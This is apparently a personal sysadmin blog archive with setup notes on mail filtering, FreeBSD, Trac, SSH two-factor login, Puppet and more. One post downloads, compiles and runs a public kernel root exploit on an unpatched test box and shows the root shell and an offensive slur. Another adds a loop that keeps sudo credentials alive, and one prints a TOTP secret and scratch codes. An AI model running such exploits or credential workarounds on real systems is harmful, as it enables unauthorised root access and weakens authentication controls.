System Op stuff

If you have your own MTA running... you are probably known with the spam-problems... Once you've tuned the filters, you have to do it again... because a new spam-run comes in. I also blocked whole /8 subnets in different countries (India/China/...)... but that is not a "real" solution... aka I want to block the whole country...

 The "DNSBL" countries.nerd.dk  allows you to do so... the map ip-adresses to countries based on whois-information... so on my MTAs I added the following lines to the mc sendmail file:

FEATURE(dnsbl,`br.countries.nerd.dk', `554 - Rejected - SPAM from Brazil:$&{client_addr} rejected')dnl

FEATURE(dnsbl,`in.countries.nerd.dk', `554 - Rejected - SPAM from India:$&{client_addr} rejected')dnl

FEATURE(dnsbl,`kr.countries.nerd.dk', `554 - Rejected - SPAM from Korea:$&{client_addr} rejected')dnl

FEATURE(dnsbl,`cn.countries.nerd.dk', `554 - Rejected - SPAM from China:$&{client_addr} rejected')dnl

FEATURE(dnsbl,`ro.countries.nerd.dk', `554 - Rejected - SPAM from Romenia:$&{client_addr} rejected')dnl

FEATURE(dnsbl,`co.countries.nerd.dk', `554 - Rejected - SPAM from Colombia:$&{client_addr} rejected')dnl

FEATURE(dnsbl,`mk.countries.nerd.dk', `554 - Rejected - SPAM from Macedonia:$&{client_addr} rejected')dnl

FEATURE(dnsbl,`vn.countries.nerd.dk', `554 - Rejected - SPAM from Vietnam:$&{client_addr} rejected')dnl

FEATURE(dnsbl,`ru.countries.nerd.dk', `554 - Rejected - SPAM from Russia:$&{client_addr} rejected')dnl

And within a few hours the first are already blocked... I hope this will reduce the amount of incomming spam at the "front door". Because simply... I don't know people in these countries...

Some while ago I installed a FreeBSD server with 7.3-PRERELEASE, although now I wanted to have it properly upgraded to 7.3-RELEASE.

I looked into it quite often... although run into the issue that it didn't work...

# uname -r
7.3-PRERELEASE
# freebsd-update upgrade -r 7.3-RELEASE
Looking up update.FreeBSD.org mirrors... 4 mirrors found.
Fetching public key from update4.FreeBSD.org... failed.
Fetching public key from update3.FreeBSD.org... failed.
Fetching public key from update5.FreeBSD.org... failed.
Fetching public key from update2.FreeBSD.org... failed.
No mirrors remaining, giving up.

On the FreeBSD forum I found the following thread:

http://lnk.adslweb.net/udvvmL

Based on the information there I performed the following steps:

# env UNAME_r=7.3-RELEASE freebsd-update -v debug fetch -r 7.3-RELEASE

Then install the updates:

# env UNAME_r=7.3-RELEASE freebsd-update -v debug install

And as last step do a reboot, and the result is:

# uname -r
7.3-RELEASE-p7

Recently I run into the problem that a team had a requirement for subversion 1.6.6 (while CentOS 5u3 was not supporting this... but the vendor didn't provide a newer release). This team also had a requirement to have TRAC... TRAC is depended on Python... but I was not allowed to update the subversion bindings for python by updating the it on the whole system... so... this is what I did:

• Installed a number of devel packages:
  
  
  
  

     # yum install apr-devel neon{,-devel} apr-util-devel
  
  

  
  


• Compiled sqlite version 3.6.13 and installed it on NFS:
  
  
  
  

    $ ./configure --prefix=/nfs/apps/webservices/trac-parent/sqlite/3.6.13
  
    ...
  
    $ make ; make install
  
    ...

  
  


• Compiled subversion 1.6.6 and installed it on NFS:
  
  
  
  

  $ make clean; ./configure \
  
   --prefix=/nfs/apps/webservices/trac-parent/subversion/1.6.6 \
  
   --with-sqlite=/nfs/apps/webservices/trac-parent/sqlite/3.6.13 \
  
   --without-neon 
  
  ...
  
  $ make -j8 ; make install ; make swig-py ; make install-swig-py
  
  

  
  

  …

  
  


• Added the following line to /etc/sysconfig/httpd:
  
  
  
  

  export LD_LIBRARY_PATH=/nfs/apps/webservices/trac-parent/sqlite/3.6.13/lib/
  
  

  
  


• Modified /etc/httpd/conf.d/trac.conf by adding a ‘PythonPath’ to the location-directive:
  
  
  
  

  <Location /projects>
  
    ...
  
    PythonPath "['/nfs/apps/webservices/trac-parent/subversion/1.6.6/lib/svn-python'] + sys.path"
  
  </Location>
  
  

  
  


• Restart the trac daemon:
  
  
  
  

  # service httpd stop
  
  # service httpd start
  
  

  
  


• Now you’ve to resync the trac-instance with Subversion (the
  repository_dir value in the trac.ini of the instance).. but make sure
  you use the correct bindings in Python:
  
  
  
  

  # export LD_LIBRARY_PATH=/nfs/apps/webservices/trac-parent/sqlite/3.6.13/lib/
  
  # export PYTHONPATH=/nfs/apps/webservices/trac-parent/subversion/1.6.6/lib/svn-python
  
  # trac-admin ${TRAC_INSTANCE_PATH} repository resync "*"
  
  

  
  

Today I noticed a very nice article about enabling Google's two-factor authentication for Linux SSH.

After reading it... I found some time to play with it... so I enabled it within 10 minutes on my CentOS 5 64bit play-ground server... but there are some small 'caveats'.

hg - Command

To checkout the code, you must make install the mercurial RPM... this one is available via the EPEL repositories.

So after having the EPEL repositories enabled, run as root:

yum -y install mercurial

Compiling the PAM module

When you checked out the code.

hg clone https://google-authenticator.googlecode.com/hg/ google-authenticator/

You cannot compile directly the module... therefor you must apply a small change to the Makefile.

Change where /usr/lib/libdl.so is stated to /usr/lib64/libdl.so (3 occurrences)

$ make
$ sudo make install

Now you've to update the /etc/pam.d/sshd so it contains:

#%PAM-1.0
auth       required     pam_google_authenticator.so
auth       include      system-auth
account    required     pam_nologin.so
account    include      system-auth
password   include      system-auth
session    optional     pam_keyinit.so force revoke
session    include      system-auth
session    required     pam_loginuid.so

Configure SSH

You also have to make sure that in /etc/ssh/sshd_config the following settings are set on yes:

ChallengeResponseAuthentication yes
UsePAM yes

And restart the SSH-daemon

Set up your smartphone/credentials on the system

$ google-authenticator
https://www.google.com/chart?chs=200x200&chld=M|0&cht=qr&chl=otpauth://totp/user@server%3Fsecret%3DSAEP64T5VZAVWAFB
Your new secret key is: SAEP64T5VZAVWAFB
Your verification code is 376046
Your emergency scratch codes are:
  67868696
  26247332
  54815527
  54336661
  71083816
Do you want me to update your "~/.google_authenticator" file (y/n) y
Do you want to disallow multiple uses of the same authentication
token? This restricts you to one login about every 30s, but it increases
your chances to notice or even prevent man-in-the-middle attacks (y/n) y
By default, tokens are good for 30 seconds and in order to compensate for
possible time-skew between the client and the server, we allow an extra
token before and after the current time. If you experience problems with poor
time synchronization, you can increase the window from its default
size of 1:30min to about 4min. Do you want to do so (y/n) n
If the computer that you are logging into isn't hardened against brute-force
login attempts, you can enable rate-limiting for the authentication module.
By default, this limits attackers to no more than 3 login attempts every 30s.
Do you want to enable rate-limiting (y/n) y

And you're done

Give it a try to SSH to that box...

 TIP: Make sure you've an SSH session still open... or you might lock yourself out of the system...

Recently I've been working on creating a template for WordPress for my brother in law's company. My brother in law is photographer so I had also had to implement albums/galleries using "jQuery jFlip". So I decided to use the "NextGEN Gallery" plugin for WordPress.

The benefit of NextGEN Gallery is that it allows you to add custom gallery templates to your WordPress template/theme by having in your theme-folder a nggallery folder and files named gallery-{template_name}.php.

To enable jQuery jFlip with NextGEN Gallery I had to do the following modifications:

Add to $TEMPLATE_PATH/header.php the following lines in the head section:

<!--[if IE]><script src="<?php bloginfo('template_url'); ?>/js/excanvasX.js" type="text/javascript"></script><![endif]-->
<script src="<?php bloginfo('template_url'); ?>/js/jquery-1.6.1.min.js" type="text/javascript"></script>
<script src="<?php bloginfo('template_url'); ?>/js/jquery.jflip-0.4.min.js" type="text/javascript"></script>

Make sure you put jquery-1.6.1.min.js and jquery-jflip-0.4.min.js and excanvasX.js (for IE support) in your template, or deep link to the developer sites.

And now create a NextGEN template $TEMPLATE_PATH/nggallery/gallery-flippage.php:

<?php if (!defined ('ABSPATH')) die ('No direct access allowed'); ?><?php if (!empty ($gallery)) : ?>
<script type="text/javascript">
  jQuery.noConflict();
  $(function(){
    $("#gallery1").jFlip(600,300,{background:"transparent",cornersTop:false,scale:"fit"});
   })
</script>
<p>&nbsp;</p>
<center>
<ul id="gallery1">
   <?php foreach ( $images as $image ) : ?>
     <li><img src="<?php echo $image->imageURL ?>" /></li>
    <?php endforeach; ?>
</ul>
</center>
<?php endif; ?>

Please note the 'jQuery.noConflict()'... please make sure it's there other wise it will drive you crazy

Now make sure the NextGen gallery plugin is active and make a page in WordPress with the following content:

 

[nggallery id=5 template=flippage]

 That's all

And the results can be checked here.

A lot of discussion is about one of the last kernel exploits... the one that you can become root using 32bit code on a 64bit machine. So I wanted to know if I'm vulnerable as well... just wanted to know how it works

So I simply did (as normal user) on a vulnerable version of the Linux kernel on CentOS 5.5:

$ mkdir /tmp/expl
$ wget -O /tmp/expl/expl.c http://www.seclists.org/fulldisclosure/2010/Sep/att-268/ABftw_c.bin
$ gcc -m32 -o /tmp/expl/expl.exe /tmp/expl/expl.c

Now run the binary:

[pieter@testbox ~]$ whoami
pieter
[pieter@testbox ~]$ /tmp/expl/expl.exe
Ac1dB1tCh3z VS Linux kernel 2.6 kernel 0d4y
$$$ Kallsyms +r
$$$ K3rn3l r3l3as3: 2.6.18-128.7.1.el5
??? Trying the F0PPPPPPPPPPPPPPPPpppppppppp_____ m3th34d
$$$ L00k1ng f0r kn0wn t4rg3tz..
$$$ c0mput3r 1z aqu1r1ng n3w t4rg3t...
$$$ selinux_ops->ffffffff8030d360
$$$ dummy_security_ops->ffffffff80496c00
$$$ capability_ops->ffffffff8030ec20
$$$ selinux_enforcing->ffffffff80499960
$$$ audit_enabled->ffffffff80485124
$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - F0PZzzZzZZ/LSD(M) m3th34d
$$$ Prepare: m0rn1ng w0rk0ut b1tch3z
$$$ Us1ng st4nd4rd s3ash3llz
$$$ 0p3n1ng th3 m4giq p0rt4l
$$$ bl1ng bl1ng n1gg4 :PppPpPPpPPPpP
sh-3.2# whoami
root
sh-3.2#

Well... I don't like that... so... update the kernel, reboot and check again!

[pieter@testbox ~]$ whoami
pieter
[pieter@testbox ~]$ /tmp/expl/expl.exe
Ac1dB1tCh3z VS Linux kernel 2.6 kernel 0d4y
$$$ Kallsyms +r
$$$ K3rn3l r3l3as3: 2.6.18-194.17.1.el5
??? Trying the F0PPPPPPPPPPPPPPPPpppppppppp_____ m3th34d
$$$ L00k1ng f0r kn0wn t4rg3tz..
$$$ c0mput3r 1z aqu1r1ng n3w t4rg3t...
$$$ selinux_ops->ffffffff80327ac0
$$$ dummy_security_ops->ffffffff804b9540
$$$ capability_ops->ffffffff80329380
$$$ selinux_enforcing->ffffffff804bc2a0
$$$ audit_enabled->ffffffff804a7124
$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - F0PZzzZzZZ/LSD(M) m3th34d
$$$ Prepare: m0rn1ng w0rk0ut b1tch3z
$$$ Us1ng st4nd4rd s3ash3llz
$$$ 0p3n1ng th3 m4giq p0rt4l
!!! y0u fuq1ng f41l. g3t th3 fuq 0ut!
[pieter@testbox ~]$

Some months ago I upgraded my CentOS servers from version 5.4 to 5.5. One of these servers were running LDAP Master and LDAP Slave as playground. Although after the upgrade to CentOS 5.5 it was broken, but due to other priorities I didn't had a change to fix it. 

On my systems I enabled TLS to communicate to LDAP-servers and also enabled kerberos. So this results in a modified /etc/sysconfig/ldap:

# Enable Kerberos
export KRB5_KTNAME="FILE:/etc/openldap/ldap.keytab"

But I noticed that the RPM installed a new version of that, although with the extension .rpmnew. So after applying the changes that were in the .rpmnew file and when I set SLAPD_LDAPS and SLAPD_LDAPI to "yes" I end up with the following content:

# Parameters to ulimit called right before starting slapd
# - use this to change system limits for slapd
ULIMIT_SETTINGS=

# How long to wait between sending slapd TERM and KILL
# signals when stopping slapd by init script
# - format is the same as used when calling sleep
STOP_DELAY=3s

# By default only listening on ldap:/// is turned on.
# If you want to change listening options for slapd,
# set following three variables to yes or no
SLAPD_LDAP=yes
SLAPD_LDAPS=yes
SLAPD_LDAPI=yes
export KRB5_KTNAME="FILE:/etc/openldap/ldap.keytab"

And guess what... It works again

This week I had to set up puppet with mongrel and apache for the balancing. To be honest... I never heard aboutthe puppet tool at all before (sorry puppet-developers ). As far as I understood, the puppetmaster is not really doing well with handling multiple concurrent requests and we need to provision about 128 compute nodes from a HPC cluster ...

On how I set up all the stuff in the test environment/production environment.

First I identified the right RPMs from EPEL, because I had no connection to the Internet:

augeas-0.5.3-1.el5.x86_64.rpm
augeas-libs-0.5.3-1.el5.x86_64.rpm
facter-1.5.7-1.el5.noarch.rpm
puppet-0.24.8-4.el5.noarch.rpm
puppet-server-0.24.8-4.el5.noarch.rpm
ruby-augeas-0.3.0-1.el5.x86_64.rpm
rubygem-daemons-1.0.7-2.el5.noarch.rpm
rubygem-fastthread-1.0.1-1.el5.x86_64.rpm
rubygem-gem_plugin-0.2.2-2.el5.noarch.rpm
rubygem-mongrel-1.0.1-6.el5.x86_64.rpm
rubygem-rake-0.8.3-1.el5.noarch.rpm
rubygems-1.3.1-1.el5.noarch.rpm
ruby-shadow-1.4.1-7.el5.x86_64.rpm

You can install them with 'yum --nogpgcheck localinstall *.rpm'.

You must als make sure that apache with mod_ssl is installed as well (yum install httpd mod_ssl).

Configuring Apache for load-balancing

As mentioned before, apache and puppet master must be installed.

First I copied and modified the /etc/init.d/httpd script to use it for puppet loadbalancing. Find my copy of the script on:

http://www.xs4all.nl/~paderijk/blog/puppet-balancer

So you can do:

# cd /etc/init.d/
# wget http://www.xs4all.nl/~paderijk/blog/puppet-balancer
# chmod 755 ./puppet-balancer

Now we have to create the some additional directories:

# mkdir -p /var/log/puppet-balancer
# mkdir -p /etc/puppet-balancer/{conf,conf.d}

I used the configuration file initially set up by from Jeff McCune and modified it for RHEL5. This file can be found on:

http://www.xs4all.nl/~paderijk/blog/puppet-balancer.conf

So you can put it into place like this:

# cd /etc/puppet-balancer/conf
# wget http://www.xs4all.nl/~paderijk/blog/puppet-balancer.conf

And finally we need to create a symlink name /usr/sbin/puppet-balancer which links to /usr/sbin/httpd

# ln -s /usr/sbin/httpd /usr/sbin/puppet-balancer

I've done this, because somehow the init-scripts are having some inconstancy.

And we also need a /etc/sysconfig/puppet-balancer file

# cd /etc/sysconfig
# wget http://www.xs4all.nl/~paderijk/blog/sysconfig-puppetbalancer
# mv sysconfig-puppetbalancer puppet-balancer

For so far the apache configuration, still we don't start the puppet-balancer 'service'. First we need to configure and start the puppet master.

Configuration puppetmaster

The configuration of the puppetmaster was actually very easy.

*UPDATE* A colleague pointed me on the fact that the CA wasn't set up properly going into mongrel mode. So first start puppetmaster normally:

# service puppetmaster start ; sleep 5 ; service puppetmaster stop

Make sure the following line is 'enabled' to /etc/sysconfig/puppetmaster:

PUPPETMASTER_PORTS=( 18140 18141 18142 18143 )

This will enable puppetmaster with mongrel and starts on the ports 18140 to 18143

I also noticed that the RPM for puppetmaster didn't set up all the required directories, so I need to add them manual:

# mkdir -p /var/lib/puppet/yaml/{facts,nodes}
# chown puppet:puppet /var/lib/puppet/yaml/{facts,nodes}

Start the puppetmaster and Apache (puppet-balancer)

Now we can start the puppetmaster:

# service puppetmaster start

But we want to survive reboots as well, so we do also:

# chkconfig puppetmaster on

Now the Puppet CA is also set up. So now we can start the puppet-balancer (apache) as well. But first we need to symlink the key-file and the certificate file:

# ln -s /var/lib/puppet/ssl/private_keys/{$(hostname -f).pem,puppet-balancer.pem}
# ln -s /var/lib/puppet/ssl/certs/{$(hostname -f).pem,puppet-balancer.pem}

And now we can start the puppet-balancer:

# service puppet-balancer start

And get it also up and running after a reboot:

# chkconfig puppet-balancer on

More details on how to do further configuration/setting up manifest files et cetera can be found on the Puppet wiki:

http://reductivelabs.com/trac/puppet/

Recently I need to create a report about utilization of an HPC Cluster that uses Grid Engine, but we didn't had ARCO and so not running yet for that cluster

So I digged into my brain on how to load data from a "RAW" format into a database... it's something I did when I worked for PricewaterhouseCoopers Advisory, but then I used financial data.

Please press the continue reading link below... to read more

A user group we support uses an application and they have the license to use 20 concurrent runs. For them we've implement very recently the Sun Grid Engine job scheduler. Although they recently start complaining that jobs didn't run.

Their cluster exists out of 8 nodes with each 2 cores, so they've 16 slots in the job scheduler. We've set up two queues, the suspendable.q and the unsuspendable.q. Jobs in the suspendable.q queue can get suspended by jobs in the unsuspendable.q queue. So we can have in total 32 concurrent jobs (where 16 will be suspended).

Once their cluster is really busy, some jobs will not run... and after some investigation we found out why. The jobs that are suspended don't release their license to the license server. So we can have a total of 16 jobs in the suspendable.q and 4 in the unsuspendable.q. So we start limiting the number of unsuspendable jobs to 4, because the 21nd job that will start running will fail because it won't get a license.

Yesterday I thought let's play with FC12 (aka Rawhide, aka FC11.90). So I enabled the Rawhide-repositories on my FC11 laptop and entered "yum -y update". And after a while it was there... bleeding edge kernel and other packages.

The first issue I run into, was that Firefox 3.5 was not able to run, it caused a segfault. There seems to be a bug in the xulrunner package. So I was able to fix it, by "downgrading" Firefox to 3.0.11, but that one crashed on pages using "Adobe Flash plugin". So I removed the flash plugin, because I wanted bleeding edge Fedora. So having that "sort out" I wanted to suspend my laptop, and guess what... It didn't want to suspend... so after some hacking around... it still didn't work.

So my final decision was Go back to FC11. I was able to "downgrade" my system in about 60 minutes. At home I've a mirror repository with al the backups, so during installation I added these repositories, so I also had all the updates in one go.

Lesson learned: "Bleeding edge... is indeed bleeding edge!"

I need my work for my daily work... If I won't need it for my daily work I would have keep FC12 (aka Rawhide, aka FC11.90) on it to participate in developing FC12.

On a kind of "intranet" website, which is secured with username/password combinations and HTTPS I've implemented the next feature:

- Authorized users can read everything on the website

- Files with in their filename "classified" requires a valid SSL-Client certificate...

Here is the output of my apache config:

<Directory /usr/sites/ssl-site/intranet/htdocs>
  Options Indexes MultiViews
  AllowOverride Authconfig
  Order allow,deny
  Allow from all
  AuthName "intranet"
  AuthType "Basic"
  AuthUserFile /usr/sites/ssl-site/intranet/etc/users.pwl
  require valid-user
</Directory>

<LocationMatch .*(c|C)(l|L)(a|A)(s|S)(s|S)(i|I)(f|F)(i|I)(e|E)(d|D).+>
  SSLVerifyClient require
  SSLVerifyDepth 1
  SSLOptions +OptRenegotiate
</LocationMatch>

 

I still have to sort out some issues, like directories having a directory with the name "classified" in them.

Recently I got a iPhone, but I have multiple mails coming into my mailbox (private/business/sysop). I use maildrop to put them into the right folders. I want share my business (sub)folder(s) with my special iPhone-account... but how could we do that... (please note you should have admin-privileges)

Step 1 - Create new user and put the "source" mailbox user in the right group

Create a iPhone user on your server (in my case user is iphone) and add the user (in my case pieter) to the iphone group (created during the creation of the iphone user).

Step 2 - Set permissions correct of the source mailbox

Make sure the world can access ~pieter/Maildir, set this by entering:

[ root@server ~]# chmod o+x ~pieter/Maildir

New we also have to set the grouppermissions correct of the source sub-folders:

[ root@server ~]# chown -R pieter:iphone ~pieter/Maildir/.Business*

Set groupbit and grouppermissions on the folders you want to share:

[ root@server ~]# find ~pieter/Maildir/.Business* -type d -exec chmod 2770 {} \;

Set the grouppermissions on the current messages"

[ root@server ~]# find ~pieter/Maildir/.Business* -type f -exec chmod  0660 {} \;

Step 3 - Setup the functional account and mailstructure

Become that user (can be done via sudo).
[ pieter@server ~]$ sudo su - iphone
Password: ****
[ iphone@server ~]$

Create the maildir structure:

[ iphone@server ~]$ maildirmake ~/Maildir

Remove the cur, new and tmp folders:

[ iphone@server ~]$ rm -rf ~/Maildir/[cnt]*

Now link them to the source:

[ iphone@server ~]$ for x in cur new tmp; do ln -s /home/pieter/Maildir/.Business/$x ~iphone/Maildir/$x; done

Step 4 - Share the subfolders as well

[ iphone@server ~]$ cd ~/Maildir
[ iphone@server Maildir]$ maildirmake .Archive
[ iphone@server Maildir]$ rm -rf ~/.Archive/[cnt]*
[ iphone@server Maildir]$ for x in cur new tmp; do ln -s /home/pieter/Maildir/.Business.Archive/$x ~iphone/Maildir/.Archive/$x; done

Perform step 4 for al the other subfolders you would like to share (Please note that you've to set the permissions in step 2 as well). This was done on a FreeBSD6.3 system, I don't know what the impact might be on Linux systems with SELinux... nor I don't know what the impact might be of the chmod o+x on Maildir... we wil investigate. Initially I did a chown pieter:iphone on the source maildir... but my imap-server refused connection due to wrong gid.

Also keep in mind to put in your procmail/maildrop filter a umask of 007!

But... conclusion... it works cool.

It can happen, you have sudo-access to another account (most of the time it will be access to the root account). But most of the time the NOPASSWD option is not used due to security reasons. But there are moments you want to have sudo-credentials available, think about a script or something else.... I had the same issue, so I found the next "hack" to get the timestamp refreshed every 60 seconds.

(Please note the script will use user "root" but it can be another user, please modify the scripts so it fits your needs).

Step 1)

Create a script in you $HOME/bin with the next content (I call it sudo-hack.sh):

---

#!/bin/bash 
while [ true ]; 
do 
  sudo -u root /bin/true > /dev/null 2> /dev/null 
  sleep 60 
done 

---

Step 2)

Get a valid sudo-timestamp:

$ sudo -u root /bin/true
Password:
$

Step 3)

Start sudo-hack.sh in the background:

$ $HOME/bin/sudo-hack.sh &
$

That's all!

This week I had the "Red Hat Enterprise Directory Services and Authentication" course and exam in Amsterdam.

In the course we had some very nice stuff, like Red Hat DS and at the end Red Hat Enterprise IPA... all very cool... but today I had the exam (due to the RedHat NDA I am not allowed to say anything about the exam, so I won't do it)... but a few hours after the exam I received my results... and I passed the exam